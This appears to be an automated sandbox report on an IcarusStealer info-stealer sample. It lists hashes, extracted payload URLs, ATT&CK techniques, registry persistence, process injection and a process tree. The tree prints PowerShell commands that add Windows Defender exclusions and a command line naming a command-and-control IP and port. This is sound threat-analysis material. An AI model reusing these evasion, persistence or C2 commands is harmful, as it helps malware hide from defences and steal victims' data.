icarusstealer | 3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f

Analysis

max time kernel
149s
max time network
155s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05/10/2024, 14:45

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General

Target

licarisan_api.exe
Size

3.9MB
MD5

65a683124fc4ca1839e95322370e2b0d
SHA1

7a7eafcfa4349e40cb15ab30b5c64d3415e60b96
SHA256

3ff0d50557b5ba7eb306048c0e20dd4304a75aeab0470fe213c5089a031a396f
SHA512

14b6d7d06f1bd02fffa5f0a4aecb8bbb7b1441597d9ac27a888f5ff441fce785809bd675c7ef7b1da7f99a8d61100e030b6c8b7b128515e8d713d4ffec54123f
SSDEEP

49152:bP70hwGvLJT/a9yLe7lAsYaxBjbdOGMneGzxgUgoJUcaqCDx6ITcP2MNoSPhaC+O:nUgoJUBZJoP2MNBajvXOSq

Score

10^/10

icarusstealer discovery execution persistence stealer

Malware Config

Extracted

Family

icarusstealer

Attributes

payload_url
https://blackhatsec.org/add.jpg

https://blackhatsec.org/remove.jpg

Signatures

IcarusStealer
Icarus is a modular stealer written in C# First adverts in July 2022.
stealer icarusstealer

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2896	powershell.exe
2508	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows\CurrentVersion\Run\OcuulusUpdater = "C:\\Users\\Admin\\Music\\OcoulsUpdater\\EyesUpdater.exe"	licarisan_api.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2656 set thread context of 2756	2656	licarisan_api.exe	30
PID 2756 set thread context of 2848	2756	csc.exe	32

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	licarisan_api.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_Classes\Local Settings	explorer.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2896	powershell.exe
2508	powershell.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2840	explorer.exe
Token: SeShutdownPrivilege	2840	explorer.exe
Token: SeShutdownPrivilege	2840	explorer.exe
Token: SeShutdownPrivilege	2840	explorer.exe
Token: SeShutdownPrivilege	2840	explorer.exe
Token: SeShutdownPrivilege	2840	explorer.exe
Token: SeShutdownPrivilege	2840	explorer.exe
Token: SeShutdownPrivilege	2840	explorer.exe
Token: SeDebugPrivilege	2848	cvtres.exe
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeShutdownPrivilege	2840	explorer.exe
Token: SeShutdownPrivilege	2840	explorer.exe
Token: SeShutdownPrivilege	2840	explorer.exe

Suspicious use of FindShellTrayWindow 38 IoCs

pid	Process
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe

Suspicious use of SendNotifyMessage 29 IoCs

pid	Process
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe
2840	explorer.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 2656 wrote to memory of 2756	2656	licarisan_api.exe	30
PID 2656 wrote to memory of 2756	2656	licarisan_api.exe	30
PID 2656 wrote to memory of 2756	2656	licarisan_api.exe	30
PID 2656 wrote to memory of 2756	2656	licarisan_api.exe	30
PID 2656 wrote to memory of 2756	2656	licarisan_api.exe	30
PID 2656 wrote to memory of 2756	2656	licarisan_api.exe	30
PID 2756 wrote to memory of 2840	2756	csc.exe	31
PID 2756 wrote to memory of 2840	2756	csc.exe	31
PID 2756 wrote to memory of 2840	2756	csc.exe	31
PID 2756 wrote to memory of 2840	2756	csc.exe	31
PID 2756 wrote to memory of 2848	2756	csc.exe	32
PID 2756 wrote to memory of 2848	2756	csc.exe	32
PID 2756 wrote to memory of 2848	2756	csc.exe	32
PID 2756 wrote to memory of 2848	2756	csc.exe	32
PID 2756 wrote to memory of 2848	2756	csc.exe	32
PID 2756 wrote to memory of 2848	2756	csc.exe	32
PID 2756 wrote to memory of 2848	2756	csc.exe	32
PID 2756 wrote to memory of 2848	2756	csc.exe	32
PID 2756 wrote to memory of 2848	2756	csc.exe	32
PID 2840 wrote to memory of 1980	2840	explorer.exe	34
PID 2840 wrote to memory of 1980	2840	explorer.exe	34
PID 2840 wrote to memory of 1980	2840	explorer.exe	34
PID 2848 wrote to memory of 2144	2848	cvtres.exe	35
PID 2848 wrote to memory of 2144	2848	cvtres.exe	35
PID 2848 wrote to memory of 2144	2848	cvtres.exe	35
PID 2848 wrote to memory of 2144	2848	cvtres.exe	35
PID 2848 wrote to memory of 2212	2848	cvtres.exe	36
PID 2848 wrote to memory of 2212	2848	cvtres.exe	36
PID 2848 wrote to memory of 2212	2848	cvtres.exe	36
PID 2848 wrote to memory of 2212	2848	cvtres.exe	36
PID 2212 wrote to memory of 2508	2212	cmd.exe	40
PID 2212 wrote to memory of 2508	2212	cmd.exe	40
PID 2212 wrote to memory of 2508	2212	cmd.exe	40
PID 2212 wrote to memory of 2508	2212	cmd.exe	40
PID 2144 wrote to memory of 2896	2144	cmd.exe	39
PID 2144 wrote to memory of 2896	2144	cmd.exe	39
PID 2144 wrote to memory of 2896	2144	cmd.exe	39
PID 2144 wrote to memory of 2896	2144	cmd.exe	39

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\licarisan_api.exe
"C:\Users\Admin\AppData\Local\Temp\licarisan_api.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2656
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2840
  - - C:\Windows\system32\ctfmon.exe
      ctfmon.exe
      4⤵
      PID:1980
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 193.142.146.64 8880 vUiuCXqqM
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2144
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2896
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2212
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
7d764b0ec30f75e757e9b5c9eb337472

SHA1
4fd10d59ac6670a159edfa0d7d6191377fbe5712

SHA256
ff5fbbc14b21f0685b7729214663104d1f1cc4eae4d684d09b956eedc433269c

SHA512
5a40a6f09775a40d7a8ed81324614c6784e6271a673272cc6c11d3c0ff3e84a7c85e754beff533ccba13e78752f9c5730af905ff582051e51b0f90932eb78582

Download Submit
memory/2656-0-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2656-2-0x0000000000420000-0x0000000000438000-memory.dmp

Filesize
96KB

Download
memory/2656-3-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2656-1-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2656-5-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2656-6-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2656-8-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2656-13-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2656-12-0x0000000000400000-0x0000000000823000-memory.dmp

Filesize
4.1MB

Download
memory/2656-37-0x0000000000420000-0x0000000000438000-memory.dmp

Filesize
96KB

Download
memory/2756-17-0x0000000000080000-0x0000000000102000-memory.dmp

Filesize
520KB

Download
memory/2756-9-0x0000000000080000-0x0000000000102000-memory.dmp

Filesize
520KB

Download
memory/2756-15-0x0000000000080000-0x0000000000102000-memory.dmp

Filesize
520KB

Download
memory/2756-18-0x0000000074C8E000-0x0000000074C8F000-memory.dmp

Filesize
4KB

Download
memory/2756-11-0x0000000000080000-0x0000000000102000-memory.dmp

Filesize
520KB

Download
memory/2756-10-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/2848-22-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2848-23-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/2848-21-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2848-19-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2848-29-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2848-27-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2848-25-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2848-20-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download